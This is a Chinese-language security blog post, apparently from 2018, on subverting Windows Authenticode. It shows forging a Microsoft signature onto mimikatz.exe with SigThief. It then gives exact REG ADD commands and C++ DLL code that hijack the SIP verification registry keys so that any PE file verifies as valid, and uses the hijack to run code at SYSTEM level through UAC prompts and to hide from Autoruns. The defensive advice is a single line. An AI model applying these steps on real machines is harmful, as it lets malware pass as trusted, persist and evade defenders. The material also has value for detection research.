Authenticode签名伪造——PE文件的签名伪造与签名验证劫持

2018-05-25

0x00 前言
0x01 简介
0x02 PE文件的签名伪造
1. 实际测试：
0x03 修改配置，使签名通过验证
0x04 签名验证劫持
1. 补充：
0x05 防御建议
0x06 小结

0x00 前言

在上一篇文章《CAT文件数字签名使用技巧》介绍了证书签名的基础知识，Windows系统下向文件签名有两种方法：添加在文件末尾(Authenticode)和CAT文件(catalog)，本文将介绍Authenticode签名的相关利用技巧——PE文件的签名伪造与签名验证劫持

注：

本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料，本文将结合自己的经验，整理相关内容，添加个人理解。

参考资料：

https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html

https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view

0x01 简介

本文将要介绍以下内容：

PE文件的Authenticode签名伪造
劫持签名验证过程，实现代码执行，作为后门

0x02 PE文件的签名伪造

Authenticode的详细说明文档可参考：

http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx

部分系统文件会包含微软的签名，例如C:\Windows\System32\consent.exe

通过文件属性能够看到相关签名信息，如下图

Alt text

通过powershell验证，代码如下：

Get-AuthenticodeSignature C:\Windows\System32\consent.exe

如下图

Alt text

借助工具CFF Explorer获取文件结构，如下图

Alt text

Security Directory RVA代码数字签名在PE文件中的偏移位置
Security DirectorySize代表数字签名的长度

将这部分内容提取，复制到另一个文件test.exe的尾部，同时使用CFF Explorer修改test.exe对应的Security Directory RVA和Security DirectorySize

这样，就实现了数字签名的伪造

开源工具SigThief可自动实现以上过程，地址如下：

https://github.com/secretsquirrel/SigThief

实际测试：

测试系统： Win7

将C:\Windows\System32\consent.exe的数字签名复制到mimikatz.exe中

参数如下：

sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o si.exe

生成si.exe，具有微软数字签名，但提示证书无效，如下图

Alt text

注：

部分测试系统无法使用sigthief.py，提示找不到0x9，将系统激活即可

通过powershell验证，代码如下：

Get-AuthenticodeSignature .\si.exe

显示HashMismatch，如下图

Alt text

通过signtool.exe验证：

signtool.exe verify /v si.exe

显示SignTool Error: WinVerifyTrust returned error: 0x80096010，如下图

Alt text

通过sigcheck.exe验证：

sigcheck.exe -q si.exe

显示The digital signature of the object did not verify，如下图

Alt text

0x03 修改配置，使签名通过验证

查看Get-AuthenticodeSignature的帮助说明：

Get-Help Get-AuthenticodeSignature -Full

查看相关操作Set-AuthenticodeSignature的帮助说明：

Get-Help Set-AuthenticodeSignature -Full

发现该命令的功能：

The Set-AuthenticodeSignature cmdlet adds an Authenticode signature to
any file that supports Subject Interface Package (SIP).

关于SIP的资料，可参考：

https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/

获得有用的信息：

There are some included as part of the OS (at least on Vista). Locate
in the %WINDIR%\System32 directory. They usually have a naming ending
with sip.dll, i.e. msisip.dll is the Microsoft Installer (.msi) SIP.

寻找Windows下的SIP:

ls C:\Windows\System32\*sip.dll -Recurse -ErrorAction SilentlyContinue

Win7下只有一个：C:\Windows\System32\msisip.dll

注：

Matt Graeber的测试系统为Win10，可以找到多个dll

使用IDA打开该dll，查看函数DllRegisterServer()

如下图

Alt text

找到一个特别的名称MsiSIPVerifyIndirectData，字面意思像是签名验证功能

查找资料，找到该函数，地址如下：

https://msdn.microsoft.com/en-us/library/windows/desktop/cc542591%28v=vs.85%29.aspx

发现该函数，返回TRUE代表验证成功，返回FALSE代表验证失败

该功能对应注册表键值，位置如下：

HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\

如下图

Alt text

不同GUID对应不同文件格式的验证，例如：

C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件

注：

GUID说明引用自《Subverting Trust in Windows》 Page4

接下来，尝试替换HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}下的dll和FuncName

通过c++实现，创建dll，添加导出函数，格式参照CryptSIPVerifyIndirectData，代码如下：

BOOL WINAPI CryptSIPVerifyIndirectData(SIP_SUBJECTINFO *pSubjectInfo, SIP_INDIRECT_DATA *pIndirectData)
{
    return TRUE;
}

编译生成signtest.dll

修改注册表：

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\signtest.dll" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "CryptSIPVerifyIndirectData" /f

重新启动cmd，使用powershell进行验证：

Get-AuthenticodeSignature .\si.exe

显示Valid，校验成功

如下图

Alt text

通过signtool.exe验证：

signtool.exe verify /v si.exe

验证通过

通过sigcheck.exe验证：

sigcheck.exe -q si.exe

验证通过，如下图

Alt text

重启explorer.exe，查看文件属性，签名状态，显示签名生效，如下图

Alt text

更进一步，dll一定要固定格式吗？

于是进行接下来的测试：

导出函数名为test1，完整代码如下：

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    return TRUE;
}
BOOL WINAPI test1() 
{
    return TRUE;
}

修改对应注册表键值：

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\signtest.dll" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "test1" /f

测试仍能够绕过验证

这就说明，只要dll的导出函数返回TRUE，就能够绕过验证

所以，可以查找系统默认的dll，找到一个导出函数返回true即可（当然，此处可供利用的导出函数有很多）

例如"C:\Windows\System32\ntdll.dll"

导出函数：DbgUiContinue

代码如下：

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

这样，就不需要在系统上留下自己编写的dll

对于64位系统，存在32位的注册表键值

如果使用32位的程序，如32位的signtool和sigcheck，为了绕过验证，还需要修改32位的注册表键值，对应代码如下：

REG ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f

REG ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

0x04 签名验证劫持

修改注册表，编写dll实现对签名验证过程的绕过，如果我们在dll的导出函数里面加入自己的代码，这就实现了签名验证劫持

在签名验证中加入执行代码：

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    return TRUE;
}
BOOL WINAPI test1() 
{
    WinExec("calc.exe",SW_SHOWNORMAL);
    return TRUE;
}

只要涉及签名验证的操作，加载我们自己的dll，就会弹出计算器

以下程序会使用签名验证操作：

DllHost.exe - When the “Digital Signatures” tab is displayed in file properties
Process Explorer - When the “Verified Signer” tab is displayed
Autoruns
Sigcheck
consent.exe - Any time a UAC prompt is displayed
signtool.exe
smartscreen.exe
Get-AuthenticodeSignature
Set-AuthenticodeSignature
Security vendor software that performs certificate validation based on calls to WinVerifyTrust.

注：

该处引用自《Subverting Trust in Windows》 Page33

例如，查看文件属性-数字签名详细信息，加载dll，弹出计算器，如下图

Alt text

特别的，以管理员权限执行程序会弹出UAC，如果对此进行劫持，此时的权限为system

完整操作如下图

Alt text

补充：

1、dll劫持

有些GUID，默认注册表的dll路径为相对路径，这里就存在dll劫持的问题，不需要修改注册表也能实现绕过签名验证

2、Hiding from Autoruns

启动项检测工具Autoruns默认不显示带有微软签名的文件，如下图

Alt text

如果文件包含微软签名，默认不会显示在Autoruns面板

0x05 防御建议

部分白名单程序默认会信任带有微软证书的文件，这里就存在隐患

建议不要盲目相信证书

0x06 小结

本文介绍了Authenticode签名的相关利用技巧——PE文件的签名伪造与签名验证劫持，下一篇文章将继续介绍Authenticode签名的伪造技巧——针对文件类型的签名伪造。

最后感谢Matt Graeber的分享。